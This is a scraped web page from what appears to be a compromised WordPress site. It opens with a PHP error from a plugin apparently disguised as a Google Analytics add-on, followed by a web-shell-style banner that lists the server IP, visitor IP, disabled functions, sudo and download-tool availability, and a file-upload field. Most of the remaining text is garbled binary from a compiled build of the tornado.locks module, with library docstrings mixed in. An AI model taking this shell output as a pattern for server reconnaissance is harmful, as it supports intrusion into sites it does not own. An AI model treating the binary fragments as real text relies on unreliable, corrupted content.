Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560 [2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85 [3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50 [4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13 [5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
| Server IP : 94.177.8.99 / Your IP : 216.73.217.165 Web Server : Apache/2.4.58 (Ubuntu) System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64 User : www-data ( 33) PHP Version : 8.1.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /nuitka/eggshell.build/ |
Upload File : |
�� � collections�.�� �deque�.�� �_waiters�.�K .��
� _timeouts�.�K.�Kd.�� �done�.��
� <genexpr>�.��@ �<_TimeoutGarbageCollector._garbage_collect.<locals>.<genexpr>�.�� �<%s�.�� �__name__�.�� � waiters[%s]�.�� �>�.��
�Future�.��
�append�.�� }��return�Ns.�� �
on_timeout�.��& �"Condition.wait.<locals>.on_timeout�.��
�ioloop�.��
�IOLoop�.�� �current�.�� � add_timeout�.�� �add_done_callback�.�� �<lambda>�.��$ � Condition.wait.<locals>.<lambda>�.��� ��Wait for `.notify`.
Returns a `.Future` that resolves ``True`` if the condition is notified,
or ``False`` after a timeout.
�.��
�waiter�.��& �"future_set_result_unless_cancelled�.�� �self�.�� �_garbage_collect�.�� �io_loop�.�� �remove_timeout�.�� �timeout_handle�.�� �n�.�� �popleft�.�� �waiters�.�� �Wake ``n`` waiters.�.��
�notify�.�� �Wake all waiters.�.��
�_value�.�� �<%s %s>�.��
�is_set�.�� �set�.�� �clear�.��1 �-Return ``True`` if the internal flag is true.�.�� �
set_result�.�� N��.��� ��Set the internal flag to ``True``. All waiters are awakened.
Calling `.wait` once the flag is set will not block.
�.��o �kReset the internal flag to ``False``.
Calls to `.wait` will block until `.set` is called.
�.�� �add�.�� � Event.wait.<locals>.<lambda>�.�� �gen�.�� � with_timeout�.��� ��Block until the internal flag is true.
Returns an awaitable, which raises `tornado.util.TimeoutError` after a
timeout.
�.��
�remove�.�� �fut�.��
�cancel�.�� �_obj�.�� �release�.��
� __class__�.�� �__init__�.��( �$semaphore initial value must be >= 0�.�� �__repr__�.��
�locked�.�� �unlocked,value:{0}�.�� �{0},waiters:{1}�.�� � <{0} [{1}]>�.��" �builtins��slice���KJ����N��R�.�� �_ReleasingContextManager�.��. �*Increment the counter and wake one waiter.�.��) �%Semaphore.acquire.<locals>.on_timeout�.��' �#Semaphore.acquire.<locals>.<lambda>�.��� ��Decrement the counter. Returns an awaitable.
Block if the counter is zero and wait for a `.release`. The awaitable
raises `.TimeoutError` after the deadline.
�.�� �
set_exception�.�� � TimeoutError�.��4 �0Use 'async with' instead of 'with' for Semaphore�.��
� __enter__�.�� �acquire�.�� �
__aenter__�.�� �Semaphore.__aenter__�.��
� __aexit__�.�� �Semaphore.__aexit__�.�� �value���.�� �_initial_value�.��% �!Semaphore released too many times�.�� �BoundedSemaphore�.�� K��.��
�_block�.�� �<%s _block=%s>�.��� ��Attempt to lock. Returns an awaitable.
Returns an awaitable, which raises `tornado.util.TimeoutError` after a
timeout.
�.�� �release unlocked lock�.��� ��Unlock.
The first coroutine in line waiting for `acquire` gets the lock.
If not locked, raise a `RuntimeError`.
�.��/ �+Use `async with` instead of `with` for Lock�.�� �Lock.__aenter__�.�� �Lock.__aexit__�.�� �__doc__�.��; �7/usr/local/lib/python3.8/dist-packages/tornado/locks.py�.�� �__file__�.�� �__spec__�.��
�origin�.�� � has_location�.�� �
__cached__�.�� �datetime�.�� �types�.�� �tornado�.�� h2h��.�� �tornado.concurrent�.�� h h��.�� �Union�.�� �Optional�.�� �Type�.�� �Any�.��
� Awaitable�.��
�typing�.��? ]�(� Condition��Event�� Semaphore��BoundedSemaphore��Lock�e.�� �__all__�.�� hB�object�����.��
� metaclass�.�� � __prepare__�.�� �_TimeoutGarbageCollector�.�� � __getitem__�.��2 �.%s.__prepare__() must return a mapping, not %s�.�� � <metaclass>�.�� �
tornado.locks�.�� �
__module__�.��� ��Base class for objects that periodically clean up timed-out waiters.
Avoids memory leak in a common pattern like:
while True:
yield condition.wait(short_timeout)
print('looping....')
�.�� � __qualname__�.��% �!_TimeoutGarbageCollector.__init__�.��- �)_TimeoutGarbageCollector._garbage_collect�.�� �__orig_bases__�.��
� Condition�.��� X� A condition allows one or more coroutines to wait until notified.
Like a standard `threading.Condition`, but does not need an underlying lock
that is acquired and released.
With a `Condition`, coroutines can wait to be notified by other coroutines:
.. testcode::
import asyncio
from tornado import gen
from tornado.locks import Condition
condition = Condition()
async def waiter():
print("I'll wait right here")
await condition.wait()
print("I'm done waiting")
async def notifier():
print("About to notify")
condition.notify()
print("Done notifying")
async def runner():
# Wait for waiter() and notifier() in parallel
await gen.multi([waiter(), notifier()])
asyncio.run(runner())
.. testoutput::
I'll wait right here
About to notify
Done notifying
I'm done waiting
`wait` takes an optional ``timeout`` argument, which is either an absolute
timestamp::
io_loop = IOLoop.current()
# Wait up to 1 second for a notification.
await condition.wait(timeout=io_loop.time() + 1)
...or a `datetime.timedelta` for a timeout relative to the current time::
# Wait up to 1 second.
await condition.wait(timeout=datetime.timedelta(seconds=1))
The method returns False if there's no notification before the deadline.
.. versionchanged:: 5.0
Previously, waiters could be notified synchronously from within
`notify`. Now, the notification will always be received on the
next iteration of the `.IOLoop`.
�.�h.�� �str�.�� �Condition.__repr__�.�� �timeout�.�� �float�.��
� timedelta�.�� �bool�.�� �wait�.�� �Condition.wait�.�� �int�.�� �Condition.notify�.�� �
notify_all�.�� �Condition.notify_all�.�� �Event�.��� X� An event blocks coroutines until its internal flag is set to True.
Similar to `threading.Event`.
A coroutine can wait for an event to be set. Once it is set, calls to
``yield event.wait()`` will not block unless the event has been cleared:
.. testcode::
import asyncio
from tornado import gen
from tornado.locks import Event
event = Event()
async def waiter():
print("Waiting for event")
await event.wait()
print("Not waiting this time")
await event.wait()
print("Done")
async def setter():
print("About to set the event")
event.set()
async def runner():
await gen.multi([waiter(), setter()])
asyncio.run(runner())
.. testoutput::
Waiting for event
About to set the event
Not waiting this time
Done
�.�� �Event.__init__�.�� �Event.__repr__�.�� � Event.is_set�.��
� Event.set�.�� � Event.clear�.�� �
Event.wait�.��� ��Releases a Lock or Semaphore at the end of a "with" statement.
with (yield semaphore.acquire()):
pass
# Now semaphore.release() has been called.
�.�� �obj�.��% �!_ReleasingContextManager.__init__�.��& �"_ReleasingContextManager.__enter__�.�� �exc_type�.��! � Optional[Type[BaseException]]�.�� �exc_val�.�� �
BaseException�.��
�exc_tb�.�� �
TracebackType�.�� �__exit__�.��% �!_ReleasingContextManager.__exit__�.��
� Semaphore�.��� X� A lock that can be acquired a fixed number of times before blocking.
A Semaphore manages a counter representing the number of `.release` calls
minus the number of `.acquire` calls, plus an initial value. The `.acquire`
method blocks if necessary until it can return without making the counter
negative.
Semaphores limit access to a shared resource. To allow access for two
workers at a time:
.. testsetup:: semaphore
from collections import deque
from tornado import gen
from tornado.ioloop import IOLoop
from tornado.concurrent import Future
inited = False
async def simulator(futures):
for f in futures:
# simulate the asynchronous passage of time
await gen.sleep(0)
await gen.sleep(0)
f.set_result(None)
def use_some_resource():
global inited
global futures_q
if not inited:
inited = True
# Ensure reliable doctest output: resolve Futures one at a time.
futures_q = deque([Future() for _ in range(3)])
IOLoop.current().add_callback(simulator, list(futures_q))
return futures_q.popleft()
.. testcode:: semaphore
import asyncio
from tornado import gen
from tornado.locks import Semaphore
sem = Semaphore(2)
async def worker(worker_id):
await sem.acquire()
try:
print("Worker %d is working" % worker_id)
await use_some_resource()
finally:
print("Worker %d is done" % worker_id)
sem.release()
async def runner():
# Join all workers.
await gen.multi([worker(i) for i in range(3)])
asyncio.run(runner())
.. testoutput:: semaphore
Worker 0 is working
Worker 1 is working
Worker 0 is done
Worker 2 is working
Worker 1 is done
Worker 2 is done
Workers 0 and 1 are allowed to run concurrently, but worker 2 waits until
the semaphore has been released once, by worker 0.
The semaphore can be used as an async context manager::
async def worker(worker_id):
async with sem:
print("Worker %d is working" % worker_id)
await use_some_resource()
# Now the semaphore has been released.
print("Worker %d is done" % worker_id)
For compatibility with older versions of Python, `.acquire` is a
context manager, so ``worker`` could also be written as::
@gen.coroutine
def worker(worker_id):
with (yield sem.acquire()):
print("Worker %d is working" % worker_id)
yield use_some_resource()
# Now the semaphore has been released.
print("Worker %d is done" % worker_id)
.. versionchanged:: 4.3
Added ``async with`` support in Python 3.5.
�.�hU.�� �Semaphore.__init__�.�� �Semaphore.__repr__�.�� �Semaphore.release�.�� �Semaphore.acquire�.�� �Semaphore.__enter__�.�� �typ�.��
� traceback�.�� �Semaphore.__exit__�.�� �tb�.��A X: A semaphore that prevents release() being called too many times.
If `.release` would increment the semaphore's value past the initial
value, it raises `ValueError`. Semaphores are mostly used to guard
resources with limited capacity, so a semaphore released too many times
is a sign of a bug.
�.�� �BoundedSemaphore.__init__�.�� �BoundedSemaphore.release�.�� �Lock�.��� X� A lock for coroutines.
A Lock begins unlocked, and `acquire` locks it immediately. While it is
locked, a coroutine that yields `acquire` waits until another coroutine
calls `release`.
Releasing an unlocked lock raises `RuntimeError`.
A Lock can be used as an async context manager with the ``async
with`` statement:
>>> from tornado import locks
>>> lock = locks.Lock()
>>>
>>> async def f():
... async with lock:
... # Do something holding the lock.
... pass
...
... # Now the lock is released.
For compatibility with older versions of Python, the `.acquire`
method asynchronously returns a regular context manager:
>>> async def f2():
... with (yield lock.acquire()):
... # Do something holding the lock.
... pass
...
... # Now the lock is released.
.. versionchanged:: 4.3
Added ``async with`` support in Python 3.5.
�.�� �
Lock.__init__�.�� �
Lock.__repr__�.�� � Lock.acquire�.�� � Lock.release�.�� �Lock.__enter__�.�� �
Lock.__exit__�.�� �.0��w���.�� �_�h h ��.�� h h ��.�� h6h��.�� h��.��
�tf�h6��.�� h6��.�� �<module tornado.locks>�.�� h:��.�� (hh�hUh�t�.�� (hh�h�h�t�.�� (hh�hUh�t�.�� hh���.�� hhUh:��.�� (h�res��extra�h:t�.�� h�result���.�� hh���.�� (hh�hhh h t�.�� (hh h"ht�.�� hh��.�� hh��.�� hh:��.�� hh6��.�� (hh�h6� timeout_fut�t�.�� � �.